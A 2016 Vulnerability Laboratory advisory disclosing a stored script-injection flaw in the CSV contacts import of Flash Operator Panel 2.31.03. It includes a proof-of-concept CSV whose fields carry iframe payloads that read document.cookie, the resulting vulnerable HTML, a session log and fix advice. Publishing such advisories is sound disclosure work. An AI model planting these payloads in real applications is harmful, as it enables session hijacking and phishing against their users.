Flash Operator Panel 2.31.03 Script Insertion
Posted on 05 October 2016
Document Title: =============== Flash Operator Panel 2.31.03 - CSV Persistent Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1908 Release Date: ============= 2016-10-05 Vulnerability Laboratory ID (VL-ID): ==================================== 1908 Common Vulnerability Scoring System: ==================================== 3.6 Product & Service Introduction: =============================== The most comprehensive and affordable reporting and realtime monitor package for AsteriskA(c) based Call Centers. A new approach on getting CDR reports for your phone system, centered on the user and call direction. Top lists, Usage pattern and real time view are included. This version works under any Linux flavor (i386, x86_64 and R-Pi3). Versions 1.2, 1.4, 1.6, 1.8, 10, 11 and 12 with the manager interface enabled to asterisk. PHP 5 & MySQL 5: only required for the visual phonebook, call history and recordings interface. (Copy of the Vendor Homepage: https://www.fop2.com/index.php ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a script code inject web vulnerability in the official Flash Operator Panel v2.31.03. Vulnerability Disclosure Timeline: ================================== 2016-10-05: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Nicolas Gudino (Asternic) Product: Flash Operator Panel 2 - User Control Panel (Web-Application) CentOS 2.31.03, Debian 2.31.03 & RPI-ARM 2.30.03 Exploitation Technique: ======================= Local Severity Level: =============== Medium Technical Details & Description: ================================ A script code inject and cross site web vulnerability has been discovered in the Flash Operator Panel v2.31.03. The issue allows an attacker to inject own malicious script code to the application-side of the vulnerable module. The vulnerability is located in all the csv file contact input parameters. Remote attackers are able to generate a malicious csv contact file with malicious included script code to manipulate the contacts module on import. The attack requires the exchange of the contacts csv file during the import/export. The encode of the import and export is insecure performed, thus results in a persistent execution in the contacts module of the fop2 user control panel. The request method to inject is POST and the attack vector is located on the application-side of the web-application. The execute occurs each time the admin visits the main contacts module via settings. The security risk of the issue is estimated as medium with a cvss (common vulnerability scoring system) count of 3.6. Exploitation of the vulnerability requires a low privileged web-application user account and no user interaction. Successful exploitation of the vulnerability results in persistent phishing attacks, session hijacking, persistent external redirect to malicious sources and persistent manipulation of affected or connected web module context. Request Method(s): [+] POST Vulnerable Modul(s): [+] Contacts - Import CSV Vulnerable Parameter(s): [+] id [+] firstname [+] lastname [+] company [+] address [+] phone1 [+] phone2 [+] email [+] picture Proof of Concept (PoC): ======================= The script code inject web vulnerability can be exploited by the local import function of the web-application with local user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Exploit (.csv) PoC: Visual_Phonebook.csv id,firstname,lastname,company,address,email,phone1,phone2,picture 1,">""<iframe src=http://www.vulnerability-lab.com onload=alert(document.cookie) <>%20>""<iframe> ",">""<iframe src=http://www.vulnerability-lab.com onload=alert(document.cookie) <>%20>""<iframe> ",">""<iframe src=http://www.vulnerability-lab.com onload=alert(document.cookie) <>%20>""<iframe> ",">""<iframe src=http://www.vulnerability-lab.com onload=alert(document.cookie) <>%20>""<iframe> ",contacts_file@gmail.com,">""<iframe src=http://www.vulnerability-lab.com onload=alert(document.cookie) < >%20>""<iframe> ",">""<iframe src=http://www.vulnerability-lab.com onload=alert(document.cookie) <>%20>" "<iframe> ",1-picture.png 2,test 2,test 2,test 2,test 2,test 2,test 2,test 2,2-picture.png PoC: Vulnerable Source <div id="records"><div class="jscroll-inner"><ul class="list-group" id="contact-list" style="margin:0;"> <li class="list-group-item chat"><h2 class="initial">></h2></li> <li class="list-group-item chat" style="padding:5px 1px 5px 1px;" id="contact1"> <div class="col-xs-4 col-sm-3 nopad"> <div class="avatar icon-user-default"> </div> </div> <div class="col-xs-8 col-sm-9 nopad" style="padding-left:10px;"> <span class="name nopadding searchit">>"<iframe src="http://www.vulnerability-lab.com" onl=""> "<iframe src=http://www.vulnerability-lab.com onl</span><br/> <span class='company searchit'>>"<iframe src=http://www.vulnerability-lab.com onload=alert(document.cookie) <>%20>"<iframe> </span><br/> </div> <div class='col-xs-12 col-sm-12 text-right'><span class='fa fa-map-marker text-muted c-info' data-toggle='tooltip' title='>"<iframe src=http://www.vulnerability-lab.com onload=alert(document.cookie) <>%20>"<iframe> '></span><a href='#' onclick='parent.dial("")'><span class='fa fa-phone text-muted c-info' data-toggle='tooltip' title='>"<iframe src=http://www.vulnerability-lab.com onl'></span></a><a href='#' onclick='parent.dial("")'><span class='fa fa-phone text-muted c-info' data-toggle='tooltip' title='>"<iframe src=http://www.vulnerability-lab.com onl'></span></a><a href='mailto:contacts_file@gmail.com'> <span class='fa fa-envelope-o text-muted c-info' data-toggle='tooltip' title='contacts_file@gmail.com'></span></a> </div> <div class='editlink'><a href='?action=edit&id=1' class='label label-default'>Item bewerken</a></div> <div class='clearfix'></div> </li> <li class='list-group-item chat'><h2 class='initial'>A</h2></li><li class='list-group-item chat' style='padding:5px 1px 5px 1px;' id='contact3'><div class='col-xs-4 col-sm-3 nopad'> <div class='avatar icon-user-default'> </div></div> --- PoC Session Logs [GET] --- Status: 200[OK] GET http://fop2.localhost:8080/fop2/x[SCRIPT CODE EXECUTE VIA CONTACTS] Mime Type[text/html] Request Header: Host[fop2.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://fop2.localhost:8080/fop2/contacts.php?action=new] Cookie[PHPSESSID=lvrmdf3rfbef1oc0kcuuqpap94] Connection[keep-alive] Response Header: Server[Apache/2.2.15 (CentOS)] Content-Length[282] Connection[close] Content-Type[text/html; charset=iso-8859-1] Reference(s): http://fop2.localhost:8080/ http://fop2.localhost:8080/fop2/ Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse of the contact context parameters on import. Filter and parse as well the output location were the execution point occurs and disallow special chars to prevent the execute. Security Risk: ============== The security risk of the csv file contacts script code inject vulnerability in the web-application is estimated as medium. (CVSS 3.6) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission. Copyright A(c) 2016 | Vulnerability Laboratory - [Evolution Security GmbH]aC/ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com